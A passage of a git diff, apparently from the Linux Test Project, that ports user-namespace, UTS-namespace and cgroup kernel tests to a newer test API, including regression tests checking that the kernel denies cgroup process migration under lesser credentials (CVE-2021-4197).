TST_CHECKPOINT_WAKE(0); + TST_CHECKPOINT_WAKE(1); } + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .resource_files = (const char *[]) { + TEST_APP, + NULL, + }, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL, + }, +}; + +#else +TST_TEST_TCONF("System is missing libcap"); +#endif diff --git a/testcases/kernel/containers/userns/userns06_capcheck.c b/testcases/kernel/containers/userns/userns06_capcheck.c index 31f7e0a2..8669657b 100755 --- a/testcases/kernel/containers/userns/userns06_capcheck.c +++ b/testcases/kernel/containers/userns/userns06_capcheck.c @@ -1,74 +1,66 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Huawei Technologies Co., Ltd., 2015 - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. + * Copyright (C) 2022 SUSE LLC Andrea Cervesato * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - */ - -/* - * Verify that: * When a process with non-zero user IDs performs an execve(), the * process's capability sets are cleared. When a process with zero * user IDs performs an execve(), the process's capability sets * are set. */ +#define TST_NO_DEFAULT_MAIN +#include "tst_test.h" +#include "config.h" + +#ifdef HAVE_LIBCAP #define _GNU_SOURCE -#include -#include -#include -#include -#include + #include -#include -#include "libclone.h" -#include "test.h" -#include "config.h" -#if HAVE_SYS_CAPABILITY_H +#include #include -#endif - -char *TCID = "userns06_capcheck"; -int TST_TOTAL = 1; int main(int argc, char *argv[]) { -#ifdef HAVE_LIBCAP cap_t caps; int i, last_cap; - cap_flag_value_t flag_val; - cap_flag_value_t expected_flag = 1; -#endif - tst_parse_opts(argc, argv, NULL, NULL); + cap_flag_value_t cap_flag; + cap_flag_value_t expected_cap_flag = 1; + + tst_reinit(); + + if (argc < 2) + tst_brk(TBROK, "userns06_capcheck "); + + SAFE_FILE_SCANF("/proc/sys/kernel/cap_last_cap", "%d", &last_cap); -#ifdef HAVE_LIBCAP if (strcmp("privileged", argv[1])) - expected_flag = 0; + expected_cap_flag = 0; caps = cap_get_proc(); - SAFE_FILE_SCANF(NULL, "/proc/sys/kernel/cap_last_cap", "%d", &last_cap); + for (i = 0; i <= last_cap; i++) { - cap_get_flag(caps, i, CAP_EFFECTIVE, &flag_val); - if (flag_val != expected_flag) + cap_get_flag(caps, i, CAP_EFFECTIVE, &cap_flag); + if (cap_flag != expected_cap_flag) break; - cap_get_flag(caps, i, CAP_PERMITTED, &flag_val); - if (flag_val != expected_flag) + + cap_get_flag(caps, i, CAP_PERMITTED, &cap_flag); + if (cap_flag != expected_cap_flag) break; } - if (flag_val != expected_flag) { - printf("unexpected effective/permitted caps at %d\n", i); - exit(1); - } + TST_EXP_EQ_LI(cap_flag, expected_cap_flag); + + return 0; +} #else - printf("System is missing libcap.\n"); -#endif - tst_exit(); +int main(void) +{ + tst_reinit(); + + tst_brk(TCONF, "System is missing libcap"); + + return 0; } +#endif diff --git a/testcases/kernel/containers/userns/userns07.c b/testcases/kernel/containers/userns/userns07.c index 49915969..2217a5ed 100755 --- a/testcases/kernel/containers/userns/userns07.c +++ b/testcases/kernel/containers/userns/userns07.c @@ -1,133 +1,101 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Huawei Technologies Co., Ltd., 2015 - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. + * Copyright (C) 2022 SUSE LLC Andrea Cervesato */ -/* - * Verify that: - * The kernel imposes a limit of at least 32 nested levels on user namespaces. +/*\ + * [Description] + * + * Verify that the kernel allows at least 32 nested levels of user namespaces. */ #define _GNU_SOURCE -#include -#include + #include -#include -#include -#include -#include -#include "userns_helper.h" -#include "test.h" +#include +#include "common.h" +#include "tst_test.h" +#include "lapi/sched.h" #define MAXNEST 32 -char *TCID = "userns07"; -int TST_TOTAL = 1; - -static void setup(void) -{ - check_newuser(); - tst_tmpdir(); - TST_CHECKPOINT_INIT(NULL); -} - -static void cleanup(void) -{ - tst_rmdir(); -} - -static int child_fn1(void *arg) +static void child_fn1(const int level) { - pid_t cpid1; - long level = (long)arg; - int status; + const struct tst_clone_args args = { + .flags = CLONE_NEWUSER, + .exit_signal = SIGCHLD, + }; + pid_t cpid; int parentuid; int parentgid; - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); + TST_CHECKPOINT_WAIT(0); - if (level == MAXNEST) - return 0; - cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, - (void *)child_fn1, (void *)(level + 1)); - if (cpid1 < 0) { - printf("level %ld:unexpected error: (%d) %s\n", - level, errno, strerror(errno)); - return 1; + if (level == MAXNEST) { + tst_res(TPASS, "nested all children"); + return; + } + + cpid = SAFE_CLONE(&args); + if (!cpid) { + child_fn1(level + 1); + return; } parentuid = geteuid(); parentgid = getegid(); - updatemap(cpid1, UID_MAP, 0, parentuid, NULL); - updatemap(cpid1, GID_MAP, 0, parentgid, NULL); - - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); + updatemap(cpid, UID_MAP, 0, parentuid); + updatemap(cpid, GID_MAP, 0, parentgid); - if (waitpid(cpid1, &status, 0) == -1) - return 1; + TST_CHECKPOINT_WAKE(0); - if (WIFEXITED(status) && WEXITSTATUS(status) != 0) { - printf("child exited abnormally\n"); - return 1; - } else if (WIFSIGNALED(status)) { - printf("child was killed with signal = %d", WTERMSIG(status)); - return 1; - } - return 0; + tst_reap_children(); } -static void test_max_nest(void) +static void run(void) { - pid_t cpid1; + const struct tst_clone_args args = { + .flags = CLONE_NEWUSER, + .exit_signal = SIGCHLD, + }; + pid_t cpid; int parentuid; int parentgid; - int fd; char path[BUFSIZ]; - cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, - (void *)child_fn1, (void *)0); - if (cpid1 < 0) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); + cpid = SAFE_CLONE(&args); + if (!cpid) { + child_fn1(0); + return; + } parentuid = geteuid(); parentgid = getegid(); if (access("/proc/self/setgroups", F_OK) == 0) { - sprintf(path, "/proc/%d/setgroups", cpid1); - fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644); - SAFE_WRITE(cleanup, 1, fd, "deny", 4); - SAFE_CLOSE(cleanup, fd); + sprintf(path, "/proc/%d/setgroups", cpid); + SAFE_FILE_PRINTF(path, "deny"); } - updatemap(cpid1, UID_MAP, 0, parentuid, cleanup); - updatemap(cpid1, GID_MAP, 0, parentgid, cleanup); - - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); - tst_record_childstatus(cleanup, cpid1); -} - -int main(int argc, char *argv[]) -{ - int lc; - - setup(); - tst_parse_opts(argc, argv, NULL, NULL); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - test_max_nest(); - } + updatemap(cpid, UID_MAP, 0, parentuid); + updatemap(cpid, GID_MAP, 0, parentgid); - cleanup(); - tst_exit(); + TST_CHECKPOINT_WAKE(0); } +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL, + }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/kernel/unprivileged_userns_clone", "1", TST_SR_SKIP}, + {} + }, +}; diff --git a/testcases/kernel/containers/userns/userns08.c b/testcases/kernel/containers/userns/userns08.c index c141b1ac..72d7f8d1 100755 --- a/testcases/kernel/containers/userns/userns08.c +++ b/testcases/kernel/containers/userns/userns08.c @@ -25,14 +25,14 @@ #include "tst_test.h" #include "tst_clone.h" -#include "lapi/clone.h" +#include "lapi/sched.h" #include "tst_safe_file_at.h" static pid_t clone_newuser(void) { const struct tst_clone_args cargs = { - CLONE_NEWUSER, - SIGCHLD + .flags = CLONE_NEWUSER, + .exit_signal = SIGCHLD, }; return SAFE_CLONE(&cargs); @@ -118,7 +118,7 @@ static void setup(void) { int fd = SAFE_OPEN("restricted", O_CREAT | O_WRONLY, 0700); - SAFE_WRITE(fd, 1, "\n", 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, "\n", 1); SAFE_CLOSE(fd); SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10); @@ -134,9 +134,10 @@ static struct tst_test test = { "CONFIG_USER_NS", NULL }, - .save_restore = (const char * const[]) { - "?/proc/sys/user/max_user_namespaces", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", NULL, TST_SR_SKIP}, + {"/proc/sys/kernel/unprivileged_userns_clone", "1", TST_SR_SKIP}, + {} }, .tags = (const struct tst_tag[]) { {"linux-git", "d2f007dbe7e4"}, diff --git a/testcases/kernel/containers/utsname/.gitignore b/testcases/kernel/containers/utsname/.gitignore index 0e1f41dc..945ed280 100755 --- a/testcases/kernel/containers/utsname/.gitignore +++ b/testcases/kernel/containers/utsname/.gitignore @@ -1 +1,4 @@ -/utstest +/utsname01 +/utsname02 +/utsname03 +/utsname04 diff --git a/testcases/kernel/containers/utsname/Makefile b/testcases/kernel/containers/utsname/Makefile index 5efcbf64..b6beb8b8 100755 --- a/testcases/kernel/containers/utsname/Makefile +++ b/testcases/kernel/containers/utsname/Makefile @@ -1,28 +1,7 @@ -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2007 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -################################################################################ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (C) 2021 SUSE LLC Andrea Cervesato top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk -include $(abs_srcdir)/../Makefile.inc - -LDLIBS := -lclone -lpthread -lrt $(LDLIBS) - include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/containers/utsname/utsname01.c b/testcases/kernel/containers/utsname/utsname01.c new file mode 100644 index 00000000..fc5c1a27 --- /dev/null +++ b/testcases/kernel/containers/utsname/utsname01.c @@ -0,0 +1,56 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Clone two plain processes and check if both read the same hostname. + */ + +#define _GNU_SOURCE + +#include "tst_test.h" + +static char *hostname1; +static char *hostname2; + +static void run(void) +{ + memset(hostname1, 0, HOST_NAME_MAX); + memset(hostname2, 0, HOST_NAME_MAX); + + if (!SAFE_FORK()) { + SAFE_GETHOSTNAME(hostname1, HOST_NAME_MAX); + return; + } + + if (!SAFE_FORK()) { + SAFE_GETHOSTNAME(hostname2, HOST_NAME_MAX); + return; + } + + tst_reap_children(); + + TST_EXP_PASS(strcmp(hostname1, hostname2)); +} + +static void setup(void) +{ + hostname1 = SAFE_MMAP(NULL, HOST_NAME_MAX, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); + hostname2 = SAFE_MMAP(NULL, HOST_NAME_MAX, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); +} + +static void cleanup(void) +{ + SAFE_MUNMAP(hostname1, HOST_NAME_MAX); + SAFE_MUNMAP(hostname2, HOST_NAME_MAX); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .forks_child = 1, +}; diff --git a/testcases/kernel/containers/utsname/utsname02.c b/testcases/kernel/containers/utsname/utsname02.c new file mode 100644 index 00000000..aa90596d --- /dev/null +++ b/testcases/kernel/containers/utsname/utsname02.c @@ -0,0 +1,81 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Clone two plain processes, change hostname in the first one then check if + * hostaname has changed inside the second one as well. + */ + +#define _GNU_SOURCE + +#include "tst_test.h" + +#define HOSTNAME "LTP_HOSTNAME" + +static char *hostname1; +static char *hostname2; +static char originalhost[HOST_NAME_MAX]; + +static void reset_hostname(void) +{ + SAFE_SETHOSTNAME(originalhost, strlen(originalhost)); +} + +static void run(void) +{ + memset(hostname1, 0, HOST_NAME_MAX); + memset(hostname2, 0, HOST_NAME_MAX); + + if (!SAFE_FORK()) { + SAFE_SETHOSTNAME(HOSTNAME, strlen(HOSTNAME)); + SAFE_GETHOSTNAME(hostname1, HOST_NAME_MAX); + + TST_CHECKPOINT_WAKE(0); + return; + } + + if (!SAFE_FORK()) { + TST_CHECKPOINT_WAIT(0); + + SAFE_GETHOSTNAME(hostname2, HOST_NAME_MAX); + return; + } + + tst_reap_children(); + + TST_EXP_PASS(strcmp(hostname1, HOSTNAME)); + TST_EXP_PASS(strcmp(hostname2, HOSTNAME)); + + reset_hostname(); +} + +static void setup(void) +{ + hostname1 = SAFE_MMAP(NULL, HOST_NAME_MAX, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); + hostname2 = SAFE_MMAP(NULL, HOST_NAME_MAX, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); + + memset(originalhost, 0, HOST_NAME_MAX); + + SAFE_GETHOSTNAME(originalhost, HOST_NAME_MAX); +} + +static void cleanup(void) +{ + SAFE_MUNMAP(hostname1, HOST_NAME_MAX); + SAFE_MUNMAP(hostname2, HOST_NAME_MAX); + + reset_hostname(); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, +}; diff --git a/testcases/kernel/containers/utsname/utsname03.c b/testcases/kernel/containers/utsname/utsname03.c new file mode 100644 index 00000000..e5a4a56d --- /dev/null +++ b/testcases/kernel/containers/utsname/utsname03.c @@ -0,0 +1,121 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) International Business Machines Corp., 2007 + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Clone two processes using CLONE_NEWUTS, change hostname from the first + * container and check if hostname didn't change inside the second one. + */ + +#define _GNU_SOURCE + +#include "tst_test.h" +#include "lapi/sched.h" + +#define HOSTNAME "LTP_HOSTNAME" + +static char *str_op; +static char *hostname1; +static char *hostname2; +static char originalhost[HOST_NAME_MAX]; + +static void reset_hostname(void) +{ + SAFE_SETHOSTNAME(originalhost, strlen(originalhost)); +} + +static void child1_run(void) +{ + SAFE_SETHOSTNAME(HOSTNAME, strlen(HOSTNAME)); + SAFE_GETHOSTNAME(hostname1, HOST_NAME_MAX); + + TST_CHECKPOINT_WAKE(0); +} + +static void child2_run(void) +{ + TST_CHECKPOINT_WAIT(0); + + SAFE_GETHOSTNAME(hostname2, HOST_NAME_MAX); +} + +static void run(void) +{ + const struct tst_clone_args cargs = { + .flags = CLONE_NEWUTS, + .exit_signal = SIGCHLD, + }; + + memset(hostname1, 0, HOST_NAME_MAX); + memset(hostname2, 0, HOST_NAME_MAX); + + if (!str_op || !strcmp(str_op, "clone")) { + tst_res(TINFO, "clone() with CLONE_NEWUTS"); + + if (!SAFE_CLONE(&cargs)) { + child1_run(); + return; + } + + if (!SAFE_CLONE(&cargs)) { + child2_run(); + return; + } + } else { + tst_res(TINFO, "unshare() with CLONE_NEWUTS"); + + if (!SAFE_FORK()) { + SAFE_UNSHARE(CLONE_NEWUTS); + child1_run(); + return; + } + + if (!SAFE_FORK()) { + SAFE_UNSHARE(CLONE_NEWUTS); + child2_run(); + return; + } + } + + tst_reap_children(); + + TST_EXP_PASS(strcmp(hostname1, HOSTNAME)); + TST_EXP_PASS(strcmp(hostname2, originalhost)); + + reset_hostname(); +} + +static void setup(void) +{ + hostname1 = SAFE_MMAP(NULL, HOST_NAME_MAX, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); + hostname2 = SAFE_MMAP(NULL, HOST_NAME_MAX, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); + + memset(originalhost, 0, HOST_NAME_MAX); + + SAFE_GETHOSTNAME(originalhost, HOST_NAME_MAX); +} + +static void cleanup(void) +{ + SAFE_MUNMAP(hostname1, HOST_NAME_MAX); + SAFE_MUNMAP(hostname2, HOST_NAME_MAX); + + reset_hostname(); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .options = (struct tst_option[]) { + { "m:", &str_op, "Test execution mode " }, + {}, + }, +}; diff --git a/testcases/kernel/containers/utsname/utsname04.c b/testcases/kernel/containers/utsname/utsname04.c new file mode 100644 index 00000000..bf97880b --- /dev/null +++ b/testcases/kernel/containers/utsname/utsname04.c @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Drop root privileges, create a container with CLONE_NEWUTS and verify that + * we receive a permission error. + */ + +#define _GNU_SOURCE + +#include +#include "tst_test.h" +#include "lapi/sched.h" + +static char *str_op; + +static void run(void) +{ + const struct tst_clone_args cargs = { + .flags = CLONE_NEWUTS, + .exit_signal = SIGCHLD, + }; + struct passwd *pw; + + tst_res(TINFO, "Dropping root privileges"); + + pw = SAFE_GETPWNAM("nobody"); + SAFE_SETRESUID(pw->pw_uid, pw->pw_uid, pw->pw_uid); + + if (!str_op || !strcmp(str_op, "clone")) { + TEST(tst_clone(&cargs)); + + if (TST_RET == -1) + tst_res(TPASS, "clone3() fails as expected"); + else if (TST_RET == -2) + tst_res(TPASS, "clone() fails as expected"); + else + tst_res(TFAIL, "tst_clone returns %ld", TST_RET); + + TST_EXP_PASS(errno == EPERM); + } else { + if (!SAFE_FORK()) { + TST_EXP_EQ_LI(unshare(CLONE_NEWUTS), -1); + TST_EXP_PASS(errno == EPERM); + return; + } + } +} + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .options = (struct tst_option[]) { + { "m:", &str_op, "Test execution mode " }, + {}, + }, +}; diff --git a/testcases/kernel/controllers/cgroup/.gitignore b/testcases/kernel/controllers/cgroup/.gitignore index eb91cc4e..9f1d1ada 100755 --- a/testcases/kernel/controllers/cgroup/.gitignore +++ b/testcases/kernel/controllers/cgroup/.gitignore @@ -1,3 +1,5 @@ /cgroup_regression_fork_processes /cgroup_regression_getdelays -/cgroup_regression_6_2 +/cgroup_core01 +/cgroup_core02 +/cgroup_core03 diff --git a/testcases/kernel/controllers/cgroup/cgroup_core01.c b/testcases/kernel/controllers/cgroup/cgroup_core01.c new file mode 100644 index 00000000..2e695dee --- /dev/null +++ b/testcases/kernel/controllers/cgroup/cgroup_core01.c @@ -0,0 +1,108 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved. + * Author: Yang Xu + */ + +/*\ + * [Description] + * + * When a task is writing to an fd opened by a different task, the perm check + * should use the credentials of the latter task. + * + * It is copy from kernel selftests cgroup test_core test_cgcore_lesser_euid_open + * subcase. The difference is that kernel selftest only supports cgroup v2 but + * here we also support cgroup v1 and v2. + * + * It is a regression test for + * + * commit 1756d7994ad85c2479af6ae5a9750b92324685af + * Author: Tejun Heo + * Date: Thu Jan 6 11:02:28 2022 -1000 + * + * cgroup: Use open-time credentials for process migraton perm checks + */ + +#include +#include +#include +#include +#include "tst_test.h" +#include "tst_safe_file_at.h" + +static struct tst_cg_group *cg_child_a, *cg_child_b; +static uid_t nobody_uid, save_uid; + +static void test_lesser_euid_open(void) +{ + int fds[TST_CG_ROOTS_MAX] = {-1}; + int i, loops; + + cg_child_a = tst_cg_group_mk(tst_cg, "child_a"); + cg_child_b = tst_cg_group_mk(tst_cg, "child_b"); + + if (!SAFE_FORK()) { + SAFE_CG_PRINT(cg_child_a, "cgroup.procs", "0"); + SAFE_CG_FCHOWN(cg_child_a, "cgroup.procs", nobody_uid, -1); + SAFE_CG_FCHOWN(cg_child_b, "cgroup.procs", nobody_uid, -1); + SAFE_SETEUID(nobody_uid); + + loops = SAFE_CG_OPEN(cg_child_b, "cgroup.procs", O_RDWR, fds); + SAFE_SETEUID(save_uid); + + for (i = 0; i < loops; i++) { + if (fds[i] < 1) { + tst_res(TFAIL, "unexpected negative fd %d", fds[i]); + exit(1); + } + + TEST(write(fds[i], "0", 1)); + if (TST_RET >= 0 || TST_ERR != EACCES) + tst_res(TFAIL, "%s failed", __func__); + else + tst_res(TPASS | TTERRNO, "%s passed", __func__); + + SAFE_CLOSE(fds[i]); + } + exit(0); + } + + tst_reap_children(); + cg_child_b = tst_cg_group_rm(cg_child_b); + cg_child_a = tst_cg_group_rm(cg_child_a); +} + +static void setup(void) +{ + struct passwd *pw; + + pw = SAFE_GETPWNAM("nobody"); + nobody_uid = pw->pw_uid; + save_uid = geteuid(); +} + +static void cleanup(void) +{ + if (cg_child_a) { + SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid()); + cg_child_a = tst_cg_group_rm(cg_child_a); + } + if (cg_child_b) { + SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid()); + cg_child_b = tst_cg_group_rm(cg_child_b); + } +} + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = test_lesser_euid_open, + .forks_child = 1, + .needs_root = 1, + .needs_cgroup_ctrls = (const char *const[]){"memory", NULL}, + .tags = (const struct tst_tag[]) { + {"linux-git", "1756d7994ad8"}, + {"CVE", "2021-4197"}, + {} + }, +}; diff --git a/testcases/kernel/controllers/cgroup/cgroup_core02.c b/testcases/kernel/controllers/cgroup/cgroup_core02.c new file mode 100644 index 00000000..1872a7df --- /dev/null +++ b/testcases/kernel/controllers/cgroup/cgroup_core02.c @@ -0,0 +1,129 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved. + * Author: Yang Xu + */ + +/*\ + * [Description] + * + * When a task is writing to an fd opened by a different task, the perm check + * should use the cgroup namespace of the latter task. + * + * It is copy from kernel selftests cgroup test_core test_cgcore_lesser_ns_open + * subcase. Note that this case only runs on cgroup2 as cgroup1 doesn't have + * namespace support. + * + * It is a regression test for + * + * commit e57457641613fef0d147ede8bd6a3047df588b95 + * Author: Tejun Heo + * Date: Thu Jan 6 11:02:29 2022 -1000 + * + * cgroup: Use open-time cgroup namespace for process migration perm checks + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include "tst_test.h" +#include "tst_safe_file_at.h" +#include "lapi/sched.h" + +static struct tst_cg_group *cg_child_a, *cg_child_b; +static uid_t nobody_uid; + +struct lesser_ns_open_thread_arg { + int fds[TST_CG_ROOTS_MAX]; + int loops; +}; + +static int lesser_ns_open_thread_fn(void *arg) +{ + struct lesser_ns_open_thread_arg *targ = arg; + + targ->loops = SAFE_CG_OPEN(cg_child_b, "cgroup.procs", O_RDWR, targ->fds); + return 0; +} + +static void test_lesser_ns_open(void) +{ + int i; + static char stack[65536]; + pid_t pid; + int status; + struct lesser_ns_open_thread_arg targ = { .fds = {0}, .loops = -1}; + + cg_child_a = tst_cg_group_mk(tst_cg, "child_a"); + cg_child_b = tst_cg_group_mk(tst_cg, "child_b"); + + if (!SAFE_FORK()) { + SAFE_CG_PRINT(cg_child_a, "cgroup.procs", "0"); + SAFE_CG_FCHOWN(cg_child_a, "cgroup.procs", nobody_uid, -1); + SAFE_CG_FCHOWN(cg_child_b, "cgroup.procs", nobody_uid, -1); + pid = ltp_clone(CLONE_NEWCGROUP | CLONE_FILES | CLONE_VM | SIGCHLD, + lesser_ns_open_thread_fn, &targ, 65536, stack); + if (pid < 0) { + tst_res(TFAIL, "unexpected negative pid %d", pid); + exit(1); + } + + SAFE_WAITPID(pid, &status, 0); + for (i = 0; i < targ.loops; i++) { + if (targ.fds[i] < 1) { + tst_res(TFAIL, "unexpected negative fd %d", targ.fds[i]); + exit(1); + } + + TEST(write(targ.fds[i], "0", 1)); + if (TST_RET >= 0 || TST_ERR != ENOENT) + tst_res(TFAIL, "%s failed", __func__); + else + tst_res(TPASS | TTERRNO, "%s passed", __func__); + + SAFE_CLOSE(targ.fds[i]); + } + exit(0); + } + + tst_reap_children(); + cg_child_b = tst_cg_group_rm(cg_child_b); + cg_child_a = tst_cg_group_rm(cg_child_a); +} + +static void setup(void) +{ + struct passwd *pw; + + pw = SAFE_GETPWNAM("nobody"); + nobody_uid = pw->pw_uid; +} + +static void cleanup(void) +{ + if (cg_child_a) { + SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid()); + cg_child_a = tst_cg_group_rm(cg_child_a); + } + if (cg_child_b) { + SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid()); + cg_child_b = tst_cg_group_rm(cg_child_b); + } +} + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = test_lesser_ns_open, + .forks_child = 1, + .needs_root = 1, + .needs_cgroup_ctrls = (const char *const[]){"memory", NULL}, + .needs_cgroup_ver = TST_CG_V2, + .tags = (const struct tst_tag[]) { + {"linux-git", "e57457641613"}, + {"CVE", "2021-4197"}, + {} + }, +}; diff --git a/testcases/kernel/controllers/cgroup/cgroup_core03.c b/testcases/kernel/controllers/cgroup/cgroup_core03.c new file mode 100644 index 00000000..7d40d47f --- /dev/null +++ b/testcases/kernel/controllers/cgroup/cgroup_core03.c @@ -0,0 +1,131 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2012 Christian Brauner + * Copyright (c) 2023 SUSE LLC + */ + +/*\ + * [Description] + * + * This test is copied from kselftest + * tools/testing/selftests/cgroup/test_kill.c. + * + * Only simple test implemented within current case, the other cases such + * as test_cgkill_tree and test_cgkill_forkbomb can be created later. + * + */ + +#include + +#include "lapi/syscalls.h" +#include "tst_test.h" + +#define MAX_PID_NUM 100 +#define PID_NUM MIN(MAX_PID_NUM, (tst_ncpus_available() + 1)) +#define BUF_LEN (20 * PID_NUM) + +static int *data_ptr; +static char *buf; +static struct tst_cg_group *cg_child_test_simple; + +static int wait_for_pid(pid_t pid) +{ + int status, ret; + +again: + ret = waitpid(pid, &status, 0); + if (ret == -1) { + if (errno == EINTR) + goto again; + + return -1; + } + + if (WIFSIGNALED(status)) + return 0; + + return -1; +} + +static int cg_run_nowait(const struct tst_cg_group *const cg) +{ + int pid; + + pid = SAFE_FORK(); + if (pid == 0) { + SAFE_CG_PRINTF(cg, "cgroup.procs", "%d", getpid()); + if (tst_atomic_inc(data_ptr) == PID_NUM) + TST_CHECKPOINT_WAKE(0); + pause(); + } + + return pid; +} + +static int cg_count_procs(const struct tst_cg_group *cg) +{ + char *ptr; + + int nr = 0; + + SAFE_CG_READ(cg, "cgroup.procs", buf, BUF_LEN); + + for (ptr = buf; *ptr; ptr++) + if (*ptr == '\n') + nr++; + + return nr; +} + +static void run(void) +{ + pid_t pids[MAX_PID_NUM]; + int i; + *data_ptr = 0; + + cg_child_test_simple = tst_cg_group_mk(tst_cg, "cg_test_simple"); + + if (!SAFE_CG_HAS(cg_child_test_simple, "cgroup.kill")) { + cg_child_test_simple = tst_cg_group_rm(cg_child_test_simple); + tst_brk(TCONF, "cgroup.kill is not supported on your distribution"); + } + + memset(buf, 0, BUF_LEN); + + for (i = 0; i < PID_NUM; i++) + pids[i] = cg_run_nowait(cg_child_test_simple); + + TST_CHECKPOINT_WAIT(0); + TST_EXP_VAL(cg_count_procs(cg_child_test_simple), PID_NUM); + SAFE_CG_PRINTF(cg_child_test_simple, "cgroup.kill", "%d", 1); + + for (i = 0; i < PID_NUM; i++) + TST_EXP_PASS_SILENT(wait_for_pid(pids[i])); + + TST_EXP_VAL(cg_count_procs(cg_child_test_simple), 0); + cg_child_test_simple = tst_cg_group_rm(cg_child_test_simple); +} + +static void setup(void) +{ + buf = tst_alloc(BUF_LEN); + data_ptr = SAFE_MMAP(NULL, sizeof(uintptr_t), PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); +} + +static void cleanup(void) +{ + if (data_ptr) + SAFE_MUNMAP(data_ptr, sizeof(uintptr_t)); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .forks_child = 1, + .max_runtime = 20, + .needs_cgroup_ctrls = (const char *const []){ "base", NULL }, + .needs_cgroup_ver = TST_CG_V2, + .needs_checkpoints = 1, +}; diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_6_1.sh b/testcases/kernel/controllers/cgroup/cgroup_regression_6_1.sh index 822d630a..d5a3fa93 100755 --- a/testcases/kernel/controllers/cgroup/cgroup_regression_6_1.sh +++ b/testcases/kernel/controllers/cgroup/cgroup_regression_6_1.sh @@ -6,7 +6,7 @@ trap exit USR1 while true; do - mount -t cgroup -o ns xxx cgroup/ > 